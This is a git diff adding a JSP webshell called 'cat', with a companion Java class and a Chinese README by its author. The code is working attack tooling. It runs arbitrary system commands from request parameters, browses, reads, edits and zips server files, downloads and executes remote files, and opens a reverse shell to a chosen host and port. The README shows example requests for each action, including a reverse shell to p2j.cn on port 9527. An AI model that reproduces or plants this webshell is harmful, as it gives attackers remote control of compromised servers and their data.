diff --git a/jsp/cat/1.jpg b/jsp/cat/1.jpg new file mode 100644 index 0000000..37edc47 Binary files /dev/null and b/jsp/cat/1.jpg differ diff --git a/jsp/cat/2.jpg b/jsp/cat/2.jpg new file mode 100644 index 0000000..5d0e634 Binary files /dev/null and b/jsp/cat/2.jpg differ diff --git a/jsp/cat/3.jpg b/jsp/cat/3.jpg new file mode 100644 index 0000000..acc1b34 Binary files /dev/null and b/jsp/cat/3.jpg differ diff --git a/jsp/cat/4.jpg b/jsp/cat/4.jpg new file mode 100644 index 0000000..dc679fe Binary files /dev/null and b/jsp/cat/4.jpg differ diff --git a/jsp/cat/5.jpg b/jsp/cat/5.jpg new file mode 100644 index 0000000..ec42526 Binary files /dev/null and b/jsp/cat/5.jpg differ diff --git a/jsp/cat/6.jpg b/jsp/cat/6.jpg new file mode 100644 index 0000000..b289b55 Binary files /dev/null and b/jsp/cat/6.jpg differ diff --git a/jsp/cat/Cat.java b/jsp/cat/Cat.java new file mode 100644 index 0000000..5579350 --- /dev/null +++ b/jsp/cat/Cat.java @@ -0,0 +1,189 @@ +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.io.PrintWriter; +import java.io.StringWriter; +import java.lang.reflect.Method; +import java.net.MalformedURLException; +import java.net.Socket; +import java.net.URL; +import java.net.UnknownHostException; +import java.util.Properties; +import java.util.regex.Pattern; + +public class Cat { + + static String encoding = "UTF-8"; + + static{ + encoding = isNotEmpty(getSystemEncoding())?getSystemEncoding():encoding; + } + + /** + * 获取配置文件 + * @return + * @throws IOException + */ + public static Properties getProperties() throws IOException { + Properties p = new Properties(); + p.load(Cat.class.getClass().getResourceAsStream("/config.properties")); + return p; + } + + /** + * 异常转换成字符串,获取详细异常信息 + * @param e + * @return + */ + public static String exceptionToString(Exception e) { + StringWriter sw = new StringWriter(); + e.printStackTrace(new PrintWriter(sw, true)); + return sw.toString(); + } + + /** + * 获取系统文件编码 + * @return + */ + public static String getSystemEncoding(){ + return System.getProperty("sun.jnu.encoding"); + } + + /** + * 非空判断 + * + * @param obj + * @return + */ + public static boolean isNotEmpty(Object obj) { + if (obj == null) { + return false; + } + return !"".equals(String.valueOf(obj).trim()); + } + + /** + * 输入流转二进制数组输出流 + * @param in + * @return + * @throws IOException + */ + public static ByteArrayOutputStream inutStreamToOutputStream(InputStream in) throws IOException{ + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] b = new byte[1024]; + int a = 0; + while((a = in.read(b))!=-1){ + baos.write(b,0,a); + } + return baos; + } + + /** + * 复制流到文件,如果文件存在默认会覆盖 + * @param in + * @param path + * @throws IOException + */ + public static void copyInputStreamToFile(InputStream in,String path) throws IOException{ + FileOutputStream fos = new FileOutputStream(path); + fos.write(inutStreamToOutputStream(in).toByteArray()); + fos.flush(); + fos.close(); + } + + /** + * 模仿Linux下的cat Windows下的type 查看文件内容 + * @param path + * @return + * @throws IOException + */ + public static String cat(String path) throws IOException { + return new String(inutStreamToOutputStream(new FileInputStream(path)).toByteArray()); + } + + /** + * 执行操作系统命令 如果是windows某些命令执行不了,可以用 cmd /c dir 执行dir命令 + * @param cmd + * @return + */ + public static String exec(String cmd) { + try { + return new String(inutStreamToOutputStream(Runtime.getRuntime().exec(cmd).getInputStream()).toByteArray(),encoding); + } catch (IOException e) { + return exceptionToString(e); + } + } + + /** + * 下载文件到指定目录,保存的文件名必须指定 + * @param url + * @param path + * @throws MalformedURLException + * @throws IOException + */ + public static void download(String url,String path) throws MalformedURLException, IOException{ + copyInputStreamToFile(new URL(url).openConnection().getInputStream(), path); + } + + /** + * 连接远程端口,提供本地命令执行入口 + * @param host + * @param port + * @throws UnknownHostException + * @throws IOException + */ + public static void shell(String host,int port) throws UnknownHostException, IOException{ + Socket s = new Socket(host,port); + OutputStream out = s.getOutputStream(); + InputStream in = s.getInputStream(); + out.write(("User:\t"+exec("whoami")).getBytes()); + int a = 0; + byte[] b = new byte[4096]; + while((a=in.read(b))!=-1){ + out.write(exec(new String(b,0,a,"UTF-8").trim()).getBytes("UTF-8")); + } + } + + /** + * 下载远程文件并执行,命令执行完成后会删除下载的文件 + * @param url + * @param fileName + * @param cmd + * @return + * @throws MalformedURLException + * @throws IOException + */ + public static String auto(String url,String fileName,String cmd) throws MalformedURLException, IOException{ + String tmpDir = System.getProperty("java.io.tmpdir"); + File tmpFile = new File(tmpDir,fileName); + download(url, tmpFile.toString()); + String out = exec(cmd.replaceAll(Pattern.quote("${tmpdir}"),tmpDir+File.separator)); + tmpFile.delete(); + return out; + } + + public static Method getMethod(String method){ + Method[] methods = Cat.class.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + Method m = methods[i]; + if(method.equals(m.getName())){ + return m; + } + } + return null; + } + + public static void main(String[] args) { + try { + Properties p = getProperties(); + shell(p.getProperty("host"), Integer.parseInt(p.getProperty("port"))); + } catch (Exception e) { + e.printStackTrace(); + } + } + +} diff --git a/jsp/cat/cat.jar b/jsp/cat/cat.jar new file mode 100644 index 0000000..ad26b23 Binary files /dev/null and b/jsp/cat/cat.jar differ diff --git a/jsp/cat/cat.jsp b/jsp/cat/cat.jsp new file mode 100644 index 0000000..20a3d3d --- /dev/null +++ b/jsp/cat/cat.jsp @@ -0,0 +1,282 @@ +<%@page import="java.util.zip.ZipEntry"%> +<%@page import="java.util.zip.ZipOutputStream"%> +<%@ page language="java" pageEncoding="UTF-8"%> +<%@page import="java.util.*"%> +<%@page import="java.text.SimpleDateFormat"%> +<%@ page import="java.io.*" %> +<%@ page import="java.net.*" %> +<%! + static String encoding = "UTF-8"; + + static{ + encoding = isNotEmpty(getSystemEncoding())?getSystemEncoding():encoding; + } + + /** + * 异常转换成字符串,获取详细异常信息 + * @param e + * @return + */ + static String exceptionToString(Exception e) { + StringWriter sw = new StringWriter(); + e.printStackTrace(new PrintWriter(sw, true)); + return sw.toString(); + } + + /** + * 获取系统文件编码 + * @return + */ + static String getSystemEncoding(){ + return System.getProperty("sun.jnu.encoding"); + } + + /** + * 非空判断 + * + * @param obj + * @return + */ + static boolean isNotEmpty(Object obj) { + if (obj == null) { + return false; + } + return !"".equals(String.valueOf(obj).trim()); + } + + /** + * 输入流转二进制数组输出流 + * @param in + * @return + * @throws IOException + */ + static ByteArrayOutputStream inutStreamToOutputStream(InputStream in) throws IOException{ + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] b = new byte[1024]; + int a = 0; + while((a = in.read(b))!=-1){ + baos.write(b,0,a); + } + return baos; + } + + /** + * 复制流到文件,如果文件存在默认会覆盖 + * @param in + * @param path + * @throws IOException + */ + static void copyInputStreamToFile(InputStream in,String path) throws IOException{ + FileOutputStream fos = new FileOutputStream(path); + fos.write(inutStreamToOutputStream(in).toByteArray()); + fos.flush(); + fos.close(); + } + + /** + * 模仿Linux下的cat Windows下的type 查看文件内容 + * @param path + * @return + * @throws IOException + */ + static String cat(String path) throws IOException { + return new String(inutStreamToOutputStream(new FileInputStream(path)).toByteArray()); + } + + /** + * 执行操作系统命令 如果是windows某些命令执行不了,可以用 cmd /c dir 执行dir命令 + * @param cmd + * @return + */ + static String exec(String cmd) { + try { + return new String(inutStreamToOutputStream(Runtime.getRuntime().exec(cmd).getInputStream()).toByteArray(),encoding); + } catch (IOException e) { + return exceptionToString(e); + } + } + + /** + * 下载文件到指定目录,保存的文件名必须指定 + * @param url + * @param path + * @throws MalformedURLException + * @throws IOException + */ + static void download(String url,String path) throws MalformedURLException, IOException{ + copyInputStreamToFile(new URL(url).openConnection().getInputStream(), path); + } + + /** + * 连接远程端口,提供本地命令执行入口 + * @param host + * @param port + * @throws UnknownHostException + * @throws IOException + */ + static void shell(String host,int port) throws UnknownHostException, IOException{ + Socket s = new Socket(host,port); + OutputStream out = s.getOutputStream(); + InputStream in = s.getInputStream(); + out.write(("User:\t"+exec("whoami")).getBytes()); + int a = 0; + byte[] b = new byte[1024]; + while((a=in.read(b))!=-1){ + out.write(exec(new String(b,0,a,"UTF-8").trim()).getBytes("UTF-8")); + } + } + + /** + * 下载远程文件并执行,命令执行完成后会删除下载的文件 + * @param url + * @param fileName + * @param cmd + * @return + * @throws MalformedURLException + * @throws IOException + */ + static String auto(String url,String fileName,String cmd) throws MalformedURLException, IOException{ + download(url, fileName); + String out = exec(cmd); + new File(fileName).delete(); + return out; + } + + static void saveFile(String file,String data) throws IOException{ + copyInputStreamToFile(new ByteArrayInputStream(data.getBytes()), file); + } + + /** + * 文件压缩 + * @throws IOException + */ + static void zipFile(ZipOutputStream zos,File file) throws IOException{ + if(file.isDirectory() && file.canRead()){ + File[] files = file.listFiles(); + for(File f:files){ + zipFile(zos, f); + } + }else{ + ZipEntry z = new ZipEntry(file.getName()); + zos.putNextEntry(z); + zos.write(inutStreamToOutputStream(new FileInputStream(file)).toByteArray()); + zos.closeEntry(); + } + } + + static void zip(ByteArrayOutputStream out,File file) throws IOException{ + ZipOutputStream zos = new ZipOutputStream(out); + zipFile(zos,file); + } + +%> + + +<%=application.getServerInfo() %> + + + + + +<% + try{ + String action = request.getParameter("action"); + String path = isNotEmpty(request.getParameter("p"))?request.getParameter("p"):new File((isNotEmpty(application.getRealPath("/"))?application.getRealPath("/"):".")).getCanonicalPath(); + out.println("
"); + if(isNotEmpty(action) && !"get".equalsIgnoreCase(action)){ + if("shell".equalsIgnoreCase(action)){ + shell(request.getParameter("host"), Integer.parseInt(request.getParameter("port"))); + }else if("downloadL".equalsIgnoreCase(action)){ + download(request.getParameter("url"), request.getParameter("path")); + out.println("文件下载成功."); + }else if("exec".equalsIgnoreCase(action)){ + out.println("

命令执行:

"); + out.println("
"+exec(request.getParameter("cmd"))+"
"); + }else if("cat".equalsIgnoreCase(action)){ + out.println("

文件查看:

"); + out.println("
"+cat(request.getParameter("path"))+"
"); + }else if("auto".equalsIgnoreCase(action)){ + out.println("

Auto:

"); + out.println("
"+auto(request.getParameter("url"),request.getParameter("fileName"),request.getParameter("cmd"))+"
"); + }else if("download".equalsIgnoreCase(action)){ + response.setContentType("application/x-download"); + File file = new File(path,request.getParameter("fileName")); + String fileName = file.isDirectory() ? file.getName()+".zip":file.getName(); + response.setHeader("Content-Disposition", "attachment; filename="+fileName); + BufferedOutputStream bos = new BufferedOutputStream(response.getOutputStream()); + if(file.isDirectory()){ + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + zip(baos, file); + bos.write(baos.toByteArray()); + baos.close(); + }else{ + InputStream in = new FileInputStream(file); + int len; + byte[] buf = new byte[1024]; + while ((len = in.read(buf)) > 0) { + bos.write(buf, 0, len); + } + in.close(); + } + bos.close(); + out.clear(); + out = pageContext.pushBody(); + return ; + }else if("saveFile".equalsIgnoreCase(action)){ + String file = request.getParameter("file"); + String data = request.getParameter("data"); + if(isNotEmpty(file) && isNotEmpty(data)){ + saveFile(new String(file.getBytes("ISO-8859-1"),"utf-8"),new String(data.getBytes("ISO-8859-1"),"utf-8")); + out.println(""); + } + } + }else{ + File file = new File(path); + if(file.isDirectory()){ +%> +

Directory Listing For <%=path%>

+
+ + + + + + + +<% + List ls = new ArrayList(); + ls.add(new File(file,"..")); + ls.addAll(Arrays.asList(file.listFiles())); + for(int i = 0; i < ls.size(); i++){ + File f = ls.get(i); + String fileCanonicalPath = f.getCanonicalPath().replaceAll("\\\\","/"); + out.println(""); + } + }else{ + out.println("

文件编辑:

"); + out.println("File:

"); + out.println(""); + } + } + out.println("
文件名文件大小文件下载最后修改时间
  "+f.getName()+""+(f.length()/1000)+"KB下载"+new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date(f.lastModified())) +"
"); + out.println("

"+application.getServerInfo()+"

"); + }catch(Exception e){ + out.println("
"+exceptionToString(e)+"
"); + } +%> diff --git a/jsp/cat/readme.md b/jsp/cat/readme.md new file mode 100644 index 0000000..65f3ba0 --- /dev/null +++ b/jsp/cat/readme.md @@ -0,0 +1,73 @@ +cat小工具 +Author: p2j + +我觉得这都算不上什么webshell了,写这个只是为了简化一些操作。cat提供了简单的的文件遍历、管理、命令执行、反弹shell、文件下载、自动下载并执行这么几个小功能。 + +web界面只是一个简单的文件目录浏览功能和文件下载功能: + +![img](1.jpg) + +点击文件名可以编辑对应的文件,新建文件也可以在这里进行File地址写上需要编辑的文件绝对路径就行了: + +![img](2.jpg) + +执行系统命令会比较麻烦,因为需要自己写参数了: +![img](3.jpg) + + 请求:http://localhost:8080/Struts2/cat.jsp?action=exec&cmd=ifconfig + +参数: + + action=exec + + cmd=需要执行的命令。 + +文件下载分为远程文件下载和本地文件下载。本地文件下载直接点击下载即可从服务器上下载对应的文件。而远程文件下载的则需要继续以参数的方式请求: + +![img](4.jpg) + + 请求:http://localhost:8080/Struts2/cat.jsp?action=downloadL&url=http://www.baidu.com/img/bdlogo.png&path=bdlogo.png + +参数: + + action=downloadL + + url=需要下载的文件的URL地址 + + path=文件保存的绝对路径,注意如果只写文件名会下载到当前运行环境的目录下(比如tomcat会下载到tomcat的bin目录)。 + +本地文件下载如遇到目录则自动打包成zip。 + +自动下载并执行,这个功能实际上是为了简化操作。下载某个文件然后可以用命令去调用它。这个命令如果能正常执行完是会有回显的。并且下载的文件会在命令执行结束后自动删除掉。 + +![img](5.jpg) + + 请求:http://localhost:8080/Struts2/cat.jsp?action=auto&url=http://www.baidu.com/img/bdlogo.png&fileName=bdlogo.png&cmd=cat%20bdlogo.png + +参数: + + action=auto + + url=需要下载的文件的URL地址 + + fileName=文件名 + + cmd=需要执行的系统命令 + +反弹shell,这里实现的仅仅是一个系统执行命令的入口反弹,而非反弹一个具体的文件流。即给远程监听的nc反弹一个能够执行命令的入口。 + +![img](6.jpg) + + 请求:http://localhost:8080/Struts2/cat.jsp?action=shell&host=p2j.cn&port=9527 + +参数: + + action=shell + + host=远程IP + + port=远程监听的端口 + + +源码下载:[Cat.zip](http://pan.baidu.com/s/1hqmWGFM) +[url](http://p2j.cn/?p=1533) \ No newline at end of file